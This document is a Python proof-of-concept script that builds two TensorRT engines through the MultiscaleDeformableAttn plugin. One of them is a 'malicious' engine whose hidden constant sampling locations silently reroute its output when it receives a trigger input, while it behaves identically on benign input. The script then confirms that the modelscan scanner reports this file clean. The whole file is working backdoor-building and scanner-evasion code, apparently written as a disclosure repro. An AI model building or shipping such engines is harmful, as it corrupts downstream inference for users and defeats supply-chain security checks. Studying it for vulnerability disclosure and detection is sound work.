#!/usr/bin/env python3
from __future__ import annotations

import argparse
import ctypes
import hashlib
import json
import os
import subprocess
import sys
from pathlib import Path

import numpy as np
import tensorrt as trt


HERE = Path(__file__).resolve().parent
ARTIFACTS = HERE / "artifacts"
CONTROL = ARTIFACTS / "control_msda_left.engine"
MALICIOUS = ARTIFACTS / "malicious_msda_right.engine"


def sha256(path: Path) -> str:
    h = hashlib.sha256()
    with path.open("rb") as f:
        for chunk in iter(lambda: f.read(1024 * 1024), b""):
            h.update(chunk)
    return h.hexdigest()


def load_cudart():
    cudart = ctypes.CDLL("libcudart.so")
    cudart.cudaSetDevice.argtypes = [ctypes.c_int]
    cudart.cudaSetDevice.restype = ctypes.c_int
    cudart.cudaMalloc.argtypes = [ctypes.POINTER(ctypes.c_void_p), ctypes.c_size_t]
    cudart.cudaMalloc.restype = ctypes.c_int
    cudart.cudaFree.argtypes = [ctypes.c_void_p]
    cudart.cudaFree.restype = ctypes.c_int
    cudart.cudaMemcpy.argtypes = [
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t,
        ctypes.c_int,
    ]
    cudart.cudaMemcpy.restype = ctypes.c_int
    cudart.cudaMemset.argtypes = [ctypes.c_void_p, ctypes.c_int, ctypes.c_size_t]
    cudart.cudaMemset.restype = ctypes.c_int
    cudart.cudaDeviceSynchronize.restype = ctypes.c_int
    return cudart


def tensor_count(shape: list[int]) -> int:
    count = 1
    for dim in shape:
        if dim < 0:
            raise RuntimeError(f"dynamic tensor shape is not bound: {shape}")
        count *= dim
    return count


def get_creator() -> trt.IPluginCreator:
    logger = trt.Logger(trt.Logger.ERROR)
    trt.init_libnvinfer_plugins(logger, "")
    for creator in trt.get_plugin_registry().all_creators:
        if (
            creator.name == "MultiscaleDeformableAttnPlugin_TRT"
            and creator.plugin_version == "1"
            and type(creator).__name__ == "IPluginCreator"
        ):
            return creator
    raise RuntimeError("MultiscaleDeformableAttnPlugin_TRT v1 creator not found")


def build_engine(path: Path, sampling_xy: tuple[float, float]) -> None:
    logger = trt.Logger(trt.Logger.ERROR)
    creator = get_creator()
    plugin = creator.create_plugin("msda_gate", trt.PluginFieldCollection([]))
    if plugin is None:
        raise RuntimeError("create_plugin returned None")

    builder = trt.Builder(logger)
    network = builder.create_network(0)
    config = builder.create_builder_config()

    value = network.add_input("value", trt.float32, (1, 2, 1, 1))
    spatial_shapes = network.add_constant(
        (1, 2), np.array([1, 2], dtype=np.int32)
    ).get_output(0)
    level_start_index = network.add_constant(
        (1,), np.array([0], dtype=np.int32)
    ).get_output(0)
    sampling_locations = network.add_constant(
        (1, 1, 1, 1, 1, 2), np.array(sampling_xy, dtype=np.float32)
    ).get_output(0)
    attention_weights = network.add_constant(
        (1, 1, 1, 1, 1), np.array([1.0], dtype=np.float32)
    ).get_output(0)

    layer = network.add_plugin_v2(
        [value, spatial_shapes, level_start_index, sampling_locations, attention_weights],
        plugin,
    )
    if layer is None:
        raise RuntimeError("add_plugin_v2 returned None")
    layer.get_output(0).name = "attn_out"
    network.mark_output(layer.get_output(0))

    plan = builder.build_serialized_network(network, config)
    if plan is None:
        raise RuntimeError("TensorRT failed to build MultiscaleDeformableAttn engine")
    path.parent.mkdir(parents=True, exist_ok=True)
    path.write_bytes(bytes(plan))


def build_artifacts() -> None:
    ARTIFACTS.mkdir(parents=True, exist_ok=True)
    build_engine(CONTROL, (0.25, 0.5))
    build_engine(MALICIOUS, (0.75, 0.5))


def run_engine(path: Path, values: list[float], gpu: int | None = None) -> dict:
    cuda = load_cudart()
    if gpu is not None:
        rc = cuda.cudaSetDevice(gpu)
        if rc != 0:
            raise RuntimeError(f"cudaSetDevice({gpu}) failed rc={rc}")

    logger = trt.Logger(trt.Logger.ERROR)
    trt.init_libnvinfer_plugins(logger, "")
    runtime = trt.Runtime(logger)
    engine = runtime.deserialize_cuda_engine(path.read_bytes())
    if engine is None:
        raise RuntimeError(f"deserialize_cuda_engine returned None for {path}")
    ctx = engine.create_execution_context()
    if ctx is None:
        raise RuntimeError("create_execution_context returned None")

    ptrs: dict[str, tuple[ctypes.c_void_p, int, list[int], str]] = {}
    try:
        tensor_meta = {}
        for i in range(engine.num_io_tensors):
            name = engine.get_tensor_name(i)
            shape = list(engine.get_tensor_shape(name))
            count = tensor_count(shape)
            nbytes = max(count * 4, 4)
            ptr = ctypes.c_void_p()
            if cuda.cudaMalloc(ctypes.byref(ptr), nbytes) != 0:
                raise RuntimeError(f"cudaMalloc failed for {name}")
            if cuda.cudaMemset(ptr, 0, nbytes) != 0:
                raise RuntimeError(f"cudaMemset failed for {name}")
            if not ctx.set_tensor_address(name, ptr.value):
                raise RuntimeError(f"set_tensor_address failed for {name}")
            mode = str(engine.get_tensor_mode(name))
            ptrs[name] = (ptr, nbytes, shape, mode)
            tensor_meta[name] = {
                "shape": shape,
                "dtype": str(engine.get_tensor_dtype(name)),
                "mode": mode,
            }

        arr = (ctypes.c_float * len(values))(*values)
        upload_rc = cuda.cudaMemcpy(
            ptrs["value"][0], ctypes.cast(arr, ctypes.c_void_p), len(values) * 4, 1
        )
        if upload_rc != 0:
            raise RuntimeError(f"cudaMemcpy input upload failed rc={upload_rc}")

        infer_shapes = ctx.infer_shapes()
        execute_ok = bool(ctx.execute_async_v3(0))
        sync_rc = cuda.cudaDeviceSynchronize()
        outputs = {}
        for name, (ptr, nbytes, shape, mode) in ptrs.items():
            if "OUTPUT" not in mode:
                continue
            count = nbytes // 4
            host = (ctypes.c_float * count)()
            copy_rc = cuda.cudaMemcpy(ctypes.byref(host), ptr, nbytes, 2)
            outputs[name] = {
                "shape": shape,
                "copy_rc": copy_rc,
                "values": [float(x) for x in host],
            }

        return {
            "path": str(path),
            "sha256": sha256(path),
            "input_values": [float(x) for x in values],
            "tensor_meta": tensor_meta,
            "infer_shapes": infer_shapes,
            "execute_ok": execute_ok,
            "sync_rc": sync_rc,
            "outputs": outputs,
            "output_signature": [
                value
                for output in outputs.values()
                for value in output.get("values", [])
            ],
        }
    finally:
        for ptr, _, _, _ in ptrs.values():
            if ptr.value:
                cuda.cudaFree(ptr)


def run(cmd: list[str], timeout: int = 120) -> dict:
    proc = subprocess.run(cmd, text=True, capture_output=True, timeout=timeout)
    return {
        "returncode": proc.returncode,
        "stdout": proc.stdout.strip(),
        "stderr_tail": proc.stderr[-3000:],
    }


def modelscan(path: Path) -> dict:
    modelscan_env = os.environ.get("MODELSCAN_BIN")
    modelscan_bin = Path(modelscan_env) if modelscan_env else None
    if not modelscan_bin or not modelscan_bin.exists():
        modelscan_bin = Path(sys.executable).with_name("modelscan")
    if not modelscan_bin.exists():
        modelscan_bin = Path("modelscan")
    result = run([str(modelscan_bin), "-p", str(path), "--show-skipped"])
    combined = result["stdout"] + "\n" + result["stderr_tail"]
    result["binary"] = str(modelscan_bin)
    result["clean"] = "No issues found" in combined
    result["skipped"] = "Model Scan did not scan file" in combined
    return result


def summarize(control: Path, malicious: Path, gpu: int | None = None) -> dict:
    benign = [7.0, 7.0]
    trigger = [10.0, 99.0]
    summary = {
        "format": "TensorRT (.engine / .trt / .mytrtfile) - NVIDIA",
        "tensorrt": trt.__version__,
        "plugin": "MultiscaleDeformableAttnPlugin_TRT v1",
        "hidden_constants": {
            "control_sampling_locations_xy": [0.25, 0.5],
            "malicious_sampling_locations_xy": [0.75, 0.5],
            "spatial_shapes": [1, 2],
            "level_start_index": [0],
            "attention_weights": [1.0],
        },
        "control": str(control),
        "malicious": str(malicious),
        "sha256": {
            "control": sha256(control),
            "malicious": sha256(malicious),
        },
        "runs": {
            "control_benign": run_engine(control, benign, gpu),
            "malicious_benign": run_engine(malicious, benign, gpu),
            "control_trigger": run_engine(control, trigger, gpu),
            "malicious_trigger": run_engine(malicious, trigger, gpu),
        },
        "modelscan_malicious": modelscan(malicious),
    }
    summary["impact"] = {
        "same_output_shape": (
            summary["runs"]["control_trigger"]["tensor_meta"]["attn_out"]["shape"]
            == summary["runs"]["malicious_trigger"]["tensor_meta"]["attn_out"]["shape"]
        ),
        "both_execute_ok": (
            summary["runs"]["control_trigger"]["execute_ok"]
            and summary["runs"]["malicious_trigger"]["execute_ok"]
        ),
        "sync_ok": (
            summary["runs"]["control_trigger"]["sync_rc"] == 0
            and summary["runs"]["malicious_trigger"]["sync_rc"] == 0
        ),
        "benign_outputs_match": (
            summary["runs"]["control_benign"]["output_signature"]
            == summary["runs"]["malicious_benign"]["output_signature"]
        ),
        "trigger_output_changed": (
            summary["runs"]["control_trigger"]["output_signature"]
            != summary["runs"]["malicious_trigger"]["output_signature"]
        ),
        "control_trigger_output": summary["runs"]["control_trigger"]["output_signature"],
        "malicious_trigger_output": summary["runs"]["malicious_trigger"]["output_signature"],
    }
    return summary


def main() -> int:
    ap = argparse.ArgumentParser(
        description="Build and reproduce a MultiscaleDeformableAttn TensorRT trigger backdoor."
    )
    ap.add_argument("--build", action="store_true")
    ap.add_argument("--control", type=Path, default=CONTROL)
    ap.add_argument("--malicious", type=Path, default=MALICIOUS)
    ap.add_argument("--gpu", type=int, default=None)
    ap.add_argument("--out", type=Path, default=ARTIFACTS / "repro_summary.json")
    args = ap.parse_args()

    if args.build:
        build_artifacts()

    summary = summarize(args.control.resolve(), args.malicious.resolve(), args.gpu)
    args.out.parent.mkdir(parents=True, exist_ok=True)
    args.out.write_text(json.dumps(summary, indent=2) + "\n", encoding="utf-8")
    print(json.dumps(summary, indent=2))

    impact = summary["impact"]
    if not (
        impact["same_output_shape"]
        and impact["both_execute_ok"]
        and impact["sync_ok"]
        and impact["benign_outputs_match"]
        and impact["trigger_output_changed"]
        and summary["modelscan_malicious"]["clean"]
    ):
        raise SystemExit("FAIL: expected MultiscaleDeformableAttn trigger did not reproduce")
    print("PASS: malicious MultiscaleDeformableAttn engine reroutes trigger output while modelscan reports clean")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())